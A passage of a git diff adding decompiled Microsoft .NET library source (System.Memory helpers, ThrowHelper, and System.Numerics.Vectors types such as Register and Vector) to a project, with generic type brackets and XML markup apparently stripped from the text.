Unsafe.Add(ref first, intPtr + 6); + T other7 = Unsafe.Add(ref second, intPtr + 6); + if (reference7.Equals(other7)) + { + ref T reference8 = ref Unsafe.Add(ref first, intPtr + 7); + T other8 = Unsafe.Add(ref second, intPtr + 7); + if (reference8.Equals(other8)) + { + intPtr += 8; + continue; + } + } + } + } + } + } + } + } + } + else + { + if (length < 4) + { + goto IL_0285; + } + length -= 4; + ref T reference9 = ref Unsafe.Add(ref first, intPtr); + T other9 = Unsafe.Add(ref second, intPtr); + if (reference9.Equals(other9)) + { + ref T reference10 = ref Unsafe.Add(ref first, intPtr + 1); + T other10 = Unsafe.Add(ref second, intPtr + 1); + if (reference10.Equals(other10)) + { + ref T reference11 = ref Unsafe.Add(ref first, intPtr + 2); + T other11 = Unsafe.Add(ref second, intPtr + 2); + if (reference11.Equals(other11)) + { + ref T reference12 = ref Unsafe.Add(ref first, intPtr + 3); + T other12 = Unsafe.Add(ref second, intPtr + 3); + if (reference12.Equals(other12)) + { + intPtr += 4; + goto IL_0285; + } + } + } + } + } + goto IL_028b; + IL_028b: + return false; + IL_0285: + while (length > 0) + { + ref T reference13 = ref Unsafe.Add(ref first, intPtr); + T other13 = Unsafe.Add(ref second, intPtr); + if (reference13.Equals(other13)) + { + intPtr += 1; + length--; + continue; + } + goto IL_028b; + } + break; + } + } + return true; + } + + public static int SequenceCompareTo(ref T first, int firstLength, ref T second, int secondLength) where T : IComparable + { + int num = firstLength; + if (num > secondLength) + { + num = secondLength; + } + for (int i = 0; i < num; i++) + { + ref T reference = ref Unsafe.Add(ref first, i); + T other = Unsafe.Add(ref second, i); + int num2 = reference.CompareTo(other); + if (num2 != 0) + { + return num2; + } + } + return firstLength.CompareTo(secondLength); + } + + public unsafe static void CopyTo(ref T dst, int dstLength, ref T src, int srcLength) + { + IntPtr intPtr = Unsafe.ByteOffset(in src, in Unsafe.Add(ref src, srcLength)); + IntPtr intPtr2 = Unsafe.ByteOffset(in dst, in Unsafe.Add(ref dst, dstLength)); + IntPtr intPtr3 = Unsafe.ByteOffset(in src, in dst); + bool num; + if (sizeof(IntPtr) != 4) + { + if ((ulong)(long)intPtr3 >= (ulong)(long)intPtr) + { + num = (ulong)(long)intPtr3 > (ulong)(-(long)intPtr2); + goto IL_006f; + } + } + else if ((uint)(int)intPtr3 >= (uint)(int)intPtr) + { + num = (uint)(int)intPtr3 > (uint)(-(int)intPtr2); + goto IL_006f; + } + goto IL_00de; + IL_006f: + if (!num && !IsReferenceOrContainsReferences()) + { + ref byte source = ref Unsafe.As(ref dst); + ref byte source2 = ref Unsafe.As(ref src); + ulong num2 = (ulong)(long)intPtr; + uint num4; + for (ulong num3 = 0uL; num3 < num2; num3 += num4) + { + num4 = (uint)((num2 - num3 > uint.MaxValue) ? uint.MaxValue : (num2 - num3)); + Unsafe.CopyBlock(ref Unsafe.Add(ref source, (IntPtr)(long)num3), in Unsafe.Add(ref source2, (IntPtr)(long)num3), num4); + } + return; + } + goto IL_00de; + IL_00de: + bool flag = ((sizeof(IntPtr) == 4) ? ((uint)(int)intPtr3 > (uint)(-(int)intPtr2)) : ((ulong)(long)intPtr3 > (ulong)(-(long)intPtr2))); + int num5 = (flag ? 1 : (-1)); + int num6 = ((!flag) ? (srcLength - 1) : 0); + int i; + for (i = 0; i < (srcLength & -8); i += 8) + { + Unsafe.Add(ref dst, num6) = Unsafe.Add(ref src, num6); + Unsafe.Add(ref dst, num6 + num5) = Unsafe.Add(ref src, num6 + num5); + Unsafe.Add(ref dst, num6 + num5 * 2) = Unsafe.Add(ref src, num6 + num5 * 2); + Unsafe.Add(ref dst, num6 + num5 * 3) = Unsafe.Add(ref src, num6 + num5 * 3); + Unsafe.Add(ref dst, num6 + num5 * 4) = Unsafe.Add(ref src, num6 + num5 * 4); + Unsafe.Add(ref dst, num6 + num5 * 5) = Unsafe.Add(ref src, num6 + num5 * 5); + Unsafe.Add(ref dst, num6 + num5 * 6) = Unsafe.Add(ref src, num6 + num5 * 6); + Unsafe.Add(ref dst, num6 + num5 * 7) = Unsafe.Add(ref src, num6 + num5 * 7); + num6 += num5 * 8; + } + if (i < (srcLength & -4)) + { + Unsafe.Add(ref dst, num6) = Unsafe.Add(ref src, num6); + Unsafe.Add(ref dst, num6 + num5) = Unsafe.Add(ref src, num6 + num5); + Unsafe.Add(ref dst, num6 + num5 * 2) = Unsafe.Add(ref src, num6 + num5 * 2); + Unsafe.Add(ref dst, num6 + num5 * 3) = Unsafe.Add(ref src, num6 + num5 * 3); + num6 += num5 * 4; + i += 4; + } + for (; i < srcLength; i++) + { + Unsafe.Add(ref dst, num6) = Unsafe.Add(ref src, num6); + num6 += num5; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public unsafe static IntPtr Add(this IntPtr start, int index) + { + if (sizeof(IntPtr) == 4) + { + uint num = (uint)(index * Unsafe.SizeOf()); + return (IntPtr)((byte*)(void*)start + num); + } + ulong num2 = (ulong)index * (ulong)Unsafe.SizeOf(); + return (IntPtr)((byte*)(void*)start + num2); + } + + public static bool IsReferenceOrContainsReferences() + { + return PerTypeValues.IsReferenceOrContainsReferences; + } + + private static bool IsReferenceOrContainsReferencesCore(Type type) + { + if (type.GetTypeInfo().IsPrimitive) + { + return false; + } + if (!type.GetTypeInfo().IsValueType) + { + return true; + } + Type underlyingType = Nullable.GetUnderlyingType(type); + if (underlyingType != null) + { + type = underlyingType; + } + if (type.GetTypeInfo().IsEnum) + { + return false; + } + foreach (FieldInfo declaredField in type.GetTypeInfo().DeclaredFields) + { + if (!declaredField.IsStatic && IsReferenceOrContainsReferencesCore(declaredField.FieldType)) + { + return true; + } + } + return false; + } + + public unsafe static void ClearLessThanPointerSized(byte* ptr, UIntPtr byteLength) + { + if (sizeof(UIntPtr) == 4) + { + Unsafe.InitBlockUnaligned(ptr, 0, (uint)byteLength); + return; + } + ulong num = (ulong)byteLength; + uint num2 = (uint)(num & 0xFFFFFFFFu); + Unsafe.InitBlockUnaligned(ptr, 0, num2); + num -= num2; + ptr += num2; + while (num != 0) + { + num2 = (uint)((num >= uint.MaxValue) ? uint.MaxValue : num); + Unsafe.InitBlockUnaligned(ptr, 0, num2); + ptr += num2; + num -= num2; + } + } + + public unsafe static void ClearLessThanPointerSized(ref byte b, UIntPtr byteLength) + { + if (sizeof(UIntPtr) == 4) + { + Unsafe.InitBlockUnaligned(ref b, 0, (uint)byteLength); + return; + } + ulong num = (ulong)byteLength; + uint num2 = (uint)(num & 0xFFFFFFFFu); + Unsafe.InitBlockUnaligned(ref b, 0, num2); + num -= num2; + long num3 = num2; + while (num != 0) + { + num2 = (uint)((num >= uint.MaxValue) ? uint.MaxValue : num); + Unsafe.InitBlockUnaligned(ref Unsafe.Add(ref b, (IntPtr)num3), 0, num2); + num3 += num2; + num -= num2; + } + } + + public unsafe static void ClearPointerSizedWithoutReferences(ref byte b, UIntPtr byteLength) + { + IntPtr zero; + for (zero = IntPtr.Zero; zero.LessThanEqual(byteLength - sizeof(Reg64)); zero += sizeof(Reg64)) + { + Unsafe.As(ref Unsafe.Add(ref b, zero)) = default(Reg64); + } + if (zero.LessThanEqual(byteLength - sizeof(Reg32))) + { + Unsafe.As(ref Unsafe.Add(ref b, zero)) = default(Reg32); + zero += sizeof(Reg32); + } + if (zero.LessThanEqual(byteLength - sizeof(Reg16))) + { + Unsafe.As(ref Unsafe.Add(ref b, zero)) = default(Reg16); + zero += sizeof(Reg16); + } + if (zero.LessThanEqual(byteLength - 8)) + { + Unsafe.As(ref Unsafe.Add(ref b, zero)) = 0L; + zero += 8; + } + if (sizeof(IntPtr) == 4 && zero.LessThanEqual(byteLength - 4)) + { + Unsafe.As(ref Unsafe.Add(ref b, zero)) = 0; + zero += 4; + } + } + + public static void ClearPointerSizedWithReferences(ref IntPtr ip, UIntPtr pointerSizeLength) + { + IntPtr intPtr = IntPtr.Zero; + IntPtr zero = IntPtr.Zero; + while ((zero = intPtr + 8).LessThanEqual(pointerSizeLength)) + { + Unsafe.Add(ref ip, intPtr + 0) = default(IntPtr); + Unsafe.Add(ref ip, intPtr + 1) = default(IntPtr); + Unsafe.Add(ref ip, intPtr + 2) = default(IntPtr); + Unsafe.Add(ref ip, intPtr + 3) = default(IntPtr); + Unsafe.Add(ref ip, intPtr + 4) = default(IntPtr); + Unsafe.Add(ref ip, intPtr + 5) = default(IntPtr); + Unsafe.Add(ref ip, intPtr + 6) = default(IntPtr); + Unsafe.Add(ref ip, intPtr + 7) = default(IntPtr); + intPtr = zero; + } + if ((zero = intPtr + 4).LessThanEqual(pointerSizeLength)) + { + Unsafe.Add(ref ip, intPtr + 0) = default(IntPtr); + Unsafe.Add(ref ip, intPtr + 1) = default(IntPtr); + Unsafe.Add(ref ip, intPtr + 2) = default(IntPtr); + Unsafe.Add(ref ip, intPtr + 3) = default(IntPtr); + intPtr = zero; + } + if ((zero = intPtr + 2).LessThanEqual(pointerSizeLength)) + { + Unsafe.Add(ref ip, intPtr + 0) = default(IntPtr); + Unsafe.Add(ref ip, intPtr + 1) = default(IntPtr); + intPtr = zero; + } + if ((intPtr + 1).LessThanEqual(pointerSizeLength)) + { + Unsafe.Add(ref ip, intPtr) = default(IntPtr); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private unsafe static bool LessThanEqual(this IntPtr index, UIntPtr length) + { + if (sizeof(UIntPtr) != 4) + { + return (long)index <= (long)(ulong)length; + } + return (int)index <= (int)(uint)length; + } +} diff --git a/decompiled/Libraries/system.memory/System/ThrowHelper.cs b/decompiled/Libraries/system.memory/System/ThrowHelper.cs new file mode 100644 index 0000000..08d6507 --- /dev/null +++ b/decompiled/Libraries/system.memory/System/ThrowHelper.cs @@ -0,0 +1,289 @@ +using System.Buffers; +using System.Runtime.CompilerServices; + +namespace System; + +internal static class ThrowHelper +{ + internal static void ThrowArgumentNullException(System.ExceptionArgument argument) + { + throw CreateArgumentNullException(argument); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateArgumentNullException(System.ExceptionArgument argument) + { + return new ArgumentNullException(argument.ToString()); + } + + internal static void ThrowArrayTypeMismatchException() + { + throw CreateArrayTypeMismatchException(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateArrayTypeMismatchException() + { + return new ArrayTypeMismatchException(); + } + + internal static void ThrowArgumentException_InvalidTypeWithPointersNotSupported(Type type) + { + throw CreateArgumentException_InvalidTypeWithPointersNotSupported(type); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateArgumentException_InvalidTypeWithPointersNotSupported(Type type) + { + return new ArgumentException(System.SR.Format(System.SR.Argument_InvalidTypeWithPointersNotSupported, type)); + } + + internal static void ThrowArgumentException_DestinationTooShort() + { + throw CreateArgumentException_DestinationTooShort(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateArgumentException_DestinationTooShort() + { + return new ArgumentException(System.SR.Argument_DestinationTooShort); + } + + internal static void ThrowIndexOutOfRangeException() + { + throw CreateIndexOutOfRangeException(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateIndexOutOfRangeException() + { + return new IndexOutOfRangeException(); + } + + internal static void ThrowArgumentOutOfRangeException() + { + throw CreateArgumentOutOfRangeException(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateArgumentOutOfRangeException() + { + return new ArgumentOutOfRangeException(); + } + + internal static void ThrowArgumentOutOfRangeException(System.ExceptionArgument argument) + { + throw CreateArgumentOutOfRangeException(argument); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateArgumentOutOfRangeException(System.ExceptionArgument argument) + { + return new ArgumentOutOfRangeException(argument.ToString()); + } + + internal static void ThrowArgumentOutOfRangeException_PrecisionTooLarge() + { + throw CreateArgumentOutOfRangeException_PrecisionTooLarge(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateArgumentOutOfRangeException_PrecisionTooLarge() + { + return new ArgumentOutOfRangeException("precision", System.SR.Format(System.SR.Argument_PrecisionTooLarge, (byte)99)); + } + + internal static void ThrowArgumentOutOfRangeException_SymbolDoesNotFit() + { + throw CreateArgumentOutOfRangeException_SymbolDoesNotFit(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateArgumentOutOfRangeException_SymbolDoesNotFit() + { + return new ArgumentOutOfRangeException("symbol", System.SR.Argument_BadFormatSpecifier); + } + + internal static void ThrowInvalidOperationException() + { + throw CreateInvalidOperationException(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateInvalidOperationException() + { + return new InvalidOperationException(); + } + + internal static void ThrowInvalidOperationException_OutstandingReferences() + { + throw CreateInvalidOperationException_OutstandingReferences(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateInvalidOperationException_OutstandingReferences() + { + return new InvalidOperationException(System.SR.OutstandingReferences); + } + + internal static void ThrowInvalidOperationException_UnexpectedSegmentType() + { + throw CreateInvalidOperationException_UnexpectedSegmentType(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateInvalidOperationException_UnexpectedSegmentType() + { + return new InvalidOperationException(System.SR.UnexpectedSegmentType); + } + + internal static void ThrowInvalidOperationException_EndPositionNotReached() + { + throw CreateInvalidOperationException_EndPositionNotReached(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateInvalidOperationException_EndPositionNotReached() + { + return new InvalidOperationException(System.SR.EndPositionNotReached); + } + + internal static void ThrowArgumentOutOfRangeException_PositionOutOfRange() + { + throw CreateArgumentOutOfRangeException_PositionOutOfRange(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateArgumentOutOfRangeException_PositionOutOfRange() + { + return new ArgumentOutOfRangeException("position"); + } + + internal static void ThrowArgumentOutOfRangeException_OffsetOutOfRange() + { + throw CreateArgumentOutOfRangeException_OffsetOutOfRange(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateArgumentOutOfRangeException_OffsetOutOfRange() + { + return new ArgumentOutOfRangeException("offset"); + } + + internal static void ThrowObjectDisposedException_ArrayMemoryPoolBuffer() + { + throw CreateObjectDisposedException_ArrayMemoryPoolBuffer(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateObjectDisposedException_ArrayMemoryPoolBuffer() + { + return new ObjectDisposedException("ArrayMemoryPoolBuffer"); + } + + internal static void ThrowFormatException_BadFormatSpecifier() + { + throw CreateFormatException_BadFormatSpecifier(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateFormatException_BadFormatSpecifier() + { + return new FormatException(System.SR.Argument_BadFormatSpecifier); + } + + internal static void ThrowArgumentException_OverlapAlignmentMismatch() + { + throw CreateArgumentException_OverlapAlignmentMismatch(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateArgumentException_OverlapAlignmentMismatch() + { + return new ArgumentException(System.SR.Argument_OverlapAlignmentMismatch); + } + + internal static void ThrowNotSupportedException() + { + throw CreateThrowNotSupportedException(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static Exception CreateThrowNotSupportedException() + { + return new NotSupportedException(); + } + + public static bool TryFormatThrowFormatException(out int bytesWritten) + { + bytesWritten = 0; + ThrowFormatException_BadFormatSpecifier(); + return false; + } + + public static bool TryParseThrowFormatException(out T value, out int bytesConsumed) + { + value = default(T); + bytesConsumed = 0; + ThrowFormatException_BadFormatSpecifier(); + return false; + } + + public static void ThrowArgumentValidationException(ReadOnlySequenceSegment startSegment, int startIndex, ReadOnlySequenceSegment endSegment) + { + throw CreateArgumentValidationException(startSegment, startIndex, endSegment); + } + + private static Exception CreateArgumentValidationException(ReadOnlySequenceSegment startSegment, int startIndex, ReadOnlySequenceSegment endSegment) + { + if (startSegment == null) + { + return CreateArgumentNullException(System.ExceptionArgument.startSegment); + } + if (endSegment == null) + { + return CreateArgumentNullException(System.ExceptionArgument.endSegment); + } + if (startSegment != endSegment && startSegment.RunningIndex > endSegment.RunningIndex) + { + return CreateArgumentOutOfRangeException(System.ExceptionArgument.endSegment); + } + if ((uint)startSegment.Memory.Length < (uint)startIndex) + { + return CreateArgumentOutOfRangeException(System.ExceptionArgument.startIndex); + } + return CreateArgumentOutOfRangeException(System.ExceptionArgument.endIndex); + } + + public static void ThrowArgumentValidationException(Array array, int start) + { + throw CreateArgumentValidationException(array, start); + } + + private static Exception CreateArgumentValidationException(Array array, int start) + { + if (array == null) + { + return CreateArgumentNullException(System.ExceptionArgument.array); + } + if ((uint)start > (uint)array.Length) + { + return CreateArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return CreateArgumentOutOfRangeException(System.ExceptionArgument.length); + } + + public static void ThrowStartOrEndArgumentValidationException(long start) + { + throw CreateStartOrEndArgumentValidationException(start); + } + + private static Exception CreateStartOrEndArgumentValidationException(long start) + { + if (start < 0) + { + return CreateArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return CreateArgumentOutOfRangeException(System.ExceptionArgument.length); + } +} diff --git a/decompiled/Libraries/system.memory/costura.system.memory.csproj b/decompiled/Libraries/system.memory/costura.system.memory.csproj new file mode 100644 index 0000000..8c02ae7 --- /dev/null +++ b/decompiled/Libraries/system.memory/costura.system.memory.csproj @@ -0,0 +1,21 @@ + + + System.Memory + False + net40 + + + 14.0 + True + False + + + + + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.numerics.vectors/.DS_Store b/decompiled/Libraries/system.numerics.vectors/.DS_Store new file mode 100644 index 0000000..95174be Binary files /dev/null and b/decompiled/Libraries/system.numerics.vectors/.DS_Store differ diff --git a/decompiled/Libraries/system.numerics.vectors/FxResources.System.Numerics.Vectors.SR.resx b/decompiled/Libraries/system.numerics.vectors/FxResources.System.Numerics.Vectors.SR.resx new file mode 100644 index 0000000..8de80bf --- /dev/null +++ b/decompiled/Libraries/system.numerics.vectors/FxResources.System.Numerics.Vectors.SR.resx @@ -0,0 +1,35 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089At least {0} element(s) are expected in the parameter "{1}". + Index was out of bounds: + Specified type is not supported + Number of elements in source vector is greater than the destination array + The method was called with a null array argument. + \ No newline at end of file diff --git a/decompiled/Libraries/system.numerics.vectors/FxResources.System.Numerics.Vectors/SR.cs b/decompiled/Libraries/system.numerics.vectors/FxResources.System.Numerics.Vectors/SR.cs new file mode 100644 index 0000000..a764c70 --- /dev/null +++ b/decompiled/Libraries/system.numerics.vectors/FxResources.System.Numerics.Vectors/SR.cs @@ -0,0 +1,5 @@ +namespace FxResources.System.Numerics.Vectors; + +internal static class SR +{ +} diff --git a/decompiled/Libraries/system.numerics.vectors/Properties/AssemblyInfo.cs b/decompiled/Libraries/system.numerics.vectors/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..5bd69e3 --- /dev/null +++ b/decompiled/Libraries/system.numerics.vectors/Properties/AssemblyInfo.cs @@ -0,0 +1,30 @@ +using System; +using System.Diagnostics; +using System.Numerics; +using System.Reflection; +using System.Resources; +using System.Runtime.CompilerServices; +using System.Security; +using System.Security.Permissions; + +[assembly: NeutralResourcesLanguage("en-US")] +[assembly: AssemblyTitle("System.Numerics.Vectors")] +[assembly: AssemblyDescription("System.Numerics.Vectors")] +[assembly: AssemblyDefaultAlias("System.Numerics.Vectors")] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyProduct("Microsoft® .NET Framework")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.6.26515.06")] +[assembly: AssemblyInformationalVersion("4.6.26515.06 @BuiltBy: dlab-DDVSOWINAGE059 @Branch: release/2.1 @SrcCode: https://github.com/dotnet/corefx/tree/30ab651fcb4354552bd4891619a0bdd81e0ebdbf")] +[assembly: CLSCompliant(true)] +[assembly: AssemblyMetadata(".NETFrameworkAssembly", "")] +[assembly: AssemblyMetadata("Serviceable", "True")] +[assembly: AssemblyMetadata("PreferInbox", "True")] +[assembly: AssemblyVersion("4.1.4.0")] +[assembly: TypeForwardedTo(typeof(Matrix3x2))] +[assembly: TypeForwardedTo(typeof(Matrix4x4))] +[assembly: TypeForwardedTo(typeof(Plane))] +[assembly: TypeForwardedTo(typeof(Quaternion))] +[assembly: TypeForwardedTo(typeof(Vector2))] +[assembly: TypeForwardedTo(typeof(Vector3))] +[assembly: TypeForwardedTo(typeof(Vector4))] diff --git a/decompiled/Libraries/system.numerics.vectors/System.Numerics.Hashing/HashHelpers.cs b/decompiled/Libraries/system.numerics.vectors/System.Numerics.Hashing/HashHelpers.cs new file mode 100644 index 0000000..9a5cb33 --- /dev/null +++ b/decompiled/Libraries/system.numerics.vectors/System.Numerics.Hashing/HashHelpers.cs @@ -0,0 +1,12 @@ +namespace System.Numerics.Hashing; + +internal static class HashHelpers +{ + public static readonly int RandomSeed = Guid.NewGuid().GetHashCode(); + + public static int Combine(int h1, int h2) + { + uint num = (uint)((h1 << 5) | (h1 >>> 27)); + return ((int)num + h1) ^ h2; + } +} diff --git a/decompiled/Libraries/system.numerics.vectors/System.Numerics/ConstantHelper.cs b/decompiled/Libraries/system.numerics.vectors/System.Numerics/ConstantHelper.cs new file mode 100644 index 0000000..f9f54cf --- /dev/null +++ b/decompiled/Libraries/system.numerics.vectors/System.Numerics/ConstantHelper.cs @@ -0,0 +1,86 @@ +using System.Runtime.CompilerServices; + +namespace System.Numerics; + +internal class ConstantHelper +{ + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static byte GetByteWithAllBitsSet() + { + byte result = 0; + result = byte.MaxValue; + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static sbyte GetSByteWithAllBitsSet() + { + sbyte result = 0; + result = -1; + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ushort GetUInt16WithAllBitsSet() + { + ushort result = 0; + result = ushort.MaxValue; + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static short GetInt16WithAllBitsSet() + { + short result = 0; + result = -1; + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static uint GetUInt32WithAllBitsSet() + { + uint result = 0u; + result = uint.MaxValue; + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int GetInt32WithAllBitsSet() + { + int result = 0; + result = -1; + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ulong GetUInt64WithAllBitsSet() + { + ulong result = 0uL; + result = ulong.MaxValue; + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static long GetInt64WithAllBitsSet() + { + long result = 0L; + result = -1L; + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public unsafe static float GetSingleWithAllBitsSet() + { + float result = 0f; + *(int*)(&result) = -1; + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public unsafe static double GetDoubleWithAllBitsSet() + { + double result = 0.0; + *(long*)(&result) = -1L; + return result; + } +} diff --git a/decompiled/Libraries/system.numerics.vectors/System.Numerics/Register.cs b/decompiled/Libraries/system.numerics.vectors/System.Numerics/Register.cs new file mode 100644 index 0000000..08205ea --- /dev/null +++ b/decompiled/Libraries/system.numerics.vectors/System.Numerics/Register.cs @@ -0,0 +1,205 @@ +using System.Runtime.InteropServices; + +namespace System.Numerics; + +[StructLayout(LayoutKind.Explicit)] +internal struct Register +{ + [FieldOffset(0)] + internal byte byte_0; + + [FieldOffset(1)] + internal byte byte_1; + + [FieldOffset(2)] + internal byte byte_2; + + [FieldOffset(3)] + internal byte byte_3; + + [FieldOffset(4)] + internal byte byte_4; + + [FieldOffset(5)] + internal byte byte_5; + + [FieldOffset(6)] + internal byte byte_6; + + [FieldOffset(7)] + internal byte byte_7; + + [FieldOffset(8)] + internal byte byte_8; + + [FieldOffset(9)] + internal byte byte_9; + + [FieldOffset(10)] + internal byte byte_10; + + [FieldOffset(11)] + internal byte byte_11; + + [FieldOffset(12)] + internal byte byte_12; + + [FieldOffset(13)] + internal byte byte_13; + + [FieldOffset(14)] + internal byte byte_14; + + [FieldOffset(15)] + internal byte byte_15; + + [FieldOffset(0)] + internal sbyte sbyte_0; + + [FieldOffset(1)] + internal sbyte sbyte_1; + + [FieldOffset(2)] + internal sbyte sbyte_2; + + [FieldOffset(3)] + internal sbyte sbyte_3; + + [FieldOffset(4)] + internal sbyte sbyte_4; + + [FieldOffset(5)] + internal sbyte sbyte_5; + + [FieldOffset(6)] + internal sbyte sbyte_6; + + [FieldOffset(7)] + internal sbyte sbyte_7; + + [FieldOffset(8)] + internal sbyte sbyte_8; + + [FieldOffset(9)] + internal sbyte sbyte_9; + + [FieldOffset(10)] + internal sbyte sbyte_10; + + [FieldOffset(11)] + internal sbyte sbyte_11; + + [FieldOffset(12)] + internal sbyte sbyte_12; + + [FieldOffset(13)] + internal sbyte sbyte_13; + + [FieldOffset(14)] + internal sbyte sbyte_14; + + [FieldOffset(15)] + internal sbyte sbyte_15; + + [FieldOffset(0)] + internal ushort uint16_0; + + [FieldOffset(2)] + internal ushort uint16_1; + + [FieldOffset(4)] + internal ushort uint16_2; + + [FieldOffset(6)] + internal ushort uint16_3; + + [FieldOffset(8)] + internal ushort uint16_4; + + [FieldOffset(10)] + internal ushort uint16_5; + + [FieldOffset(12)] + internal ushort uint16_6; + + [FieldOffset(14)] + internal ushort uint16_7; + + [FieldOffset(0)] + internal short int16_0; + + [FieldOffset(2)] + internal short int16_1; + + [FieldOffset(4)] + internal short int16_2; + + [FieldOffset(6)] + internal short int16_3; + + [FieldOffset(8)] + internal short int16_4; + + [FieldOffset(10)] + internal short int16_5; + + [FieldOffset(12)] + internal short int16_6; + + [FieldOffset(14)] + internal short int16_7; + + [FieldOffset(0)] + internal uint uint32_0; + + [FieldOffset(4)] + internal uint uint32_1; + + [FieldOffset(8)] + internal uint uint32_2; + + [FieldOffset(12)] + internal uint uint32_3; + + [FieldOffset(0)] + internal int int32_0; + + [FieldOffset(4)] + internal int int32_1; + + [FieldOffset(8)] + internal int int32_2; + + [FieldOffset(12)] + internal int int32_3; + + [FieldOffset(0)] + internal ulong uint64_0; + + [FieldOffset(8)] + internal ulong uint64_1; + + [FieldOffset(0)] + internal long int64_0; + + [FieldOffset(8)] + internal long int64_1; + + [FieldOffset(0)] + internal float single_0; + + [FieldOffset(4)] + internal float single_1; + + [FieldOffset(8)] + internal float single_2; + + [FieldOffset(12)] + internal float single_3; + + [FieldOffset(0)] + internal double double_0; + + [FieldOffset(8)] + internal double double_1; +} diff --git a/decompiled/Libraries/system.numerics.vectors/System.Numerics/Vector.cs b/decompiled/Libraries/system.numerics.vectors/System.Numerics/Vector.cs new file mode 100644 index 0000000..49f543d --- /dev/null +++ b/decompiled/Libraries/system.numerics.vectors/System.Numerics/Vector.cs @@ -0,0 +1,5233 @@ +using System.Globalization; +using System.Numerics.Hashing; +using System.Runtime.CompilerServices; +using System.Text; + +namespace System.Numerics; + +[System.Runtime.CompilerServices.Intrinsic] +public struct Vector : IEquatable>, IFormattable where T : struct +{ + private struct VectorSizeHelper + { + internal Vector _placeholder; + + internal byte _byte; + } + + private Register register; + + private static readonly int s_count = InitializeCount(); + + private static readonly Vector s_zero = default(Vector); + + private static readonly Vector s_one = new Vector(GetOneValue()); + + private static readonly Vector s_allOnes = new Vector(GetAllBitsSetValue()); + + public static int Count + { + [System.Runtime.CompilerServices.Intrinsic] + get + { + return s_count; + } + } + + public static Vector Zero + { + [System.Runtime.CompilerServices.Intrinsic] + get + { + return s_zero; + } + } + + public static Vector One + { + [System.Runtime.CompilerServices.Intrinsic] + get + { + return s_one; + } + } + + internal static Vector AllOnes => s_allOnes; + + public unsafe T this[int index] + { + [System.Runtime.CompilerServices.Intrinsic] + get + { + if (index >= Count || index < 0) + { + throw new IndexOutOfRangeException(System.SR.Format(System.SR.Arg_ArgumentOutOfRangeException, index)); + } + if (typeof(T) == typeof(byte)) + { + fixed (byte* byte_ = ®ister.byte_0) + { + return (T)(object)byte_[index]; + } + } + if (typeof(T) == typeof(sbyte)) + { + fixed (sbyte* sbyte_ = ®ister.sbyte_0) + { + return (T)(object)sbyte_[index]; + } + } + if (typeof(T) == typeof(ushort)) + { + fixed (ushort* uint16_ = ®ister.uint16_0) + { + return (T)(object)uint16_[index]; + } + } + if (typeof(T) == typeof(short)) + { + fixed (short* int16_ = ®ister.int16_0) + { + return (T)(object)int16_[index]; + } + } + if (typeof(T) == typeof(uint)) + { + fixed (uint* uint32_ = ®ister.uint32_0) + { + return (T)(object)uint32_[index]; + } + } + if (typeof(T) == typeof(int)) + { + fixed (int* int32_ = ®ister.int32_0) + { + return (T)(object)int32_[index]; + } + } + if (typeof(T) == typeof(ulong)) + { + fixed (ulong* uint64_ = ®ister.uint64_0) + { + return (T)(object)uint64_[index]; + } + } + if (typeof(T) == typeof(long)) + { + fixed (long* int64_ = ®ister.int64_0) + { + return (T)(object)int64_[index]; + } + } + if (typeof(T) == typeof(float)) + { + fixed (float* single_ = ®ister.single_0) + { + return (T)(object)single_[index]; + } + } + if (typeof(T) == typeof(double)) + { + fixed (double* double_ = ®ister.double_0) + { + return (T)(object)double_[index]; + } + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + } + + private unsafe static int InitializeCount() + { + VectorSizeHelper vectorSizeHelper = default(VectorSizeHelper); + byte* ptr = &vectorSizeHelper._placeholder.register.byte_0; + byte* ptr2 = &vectorSizeHelper._byte; + int num = 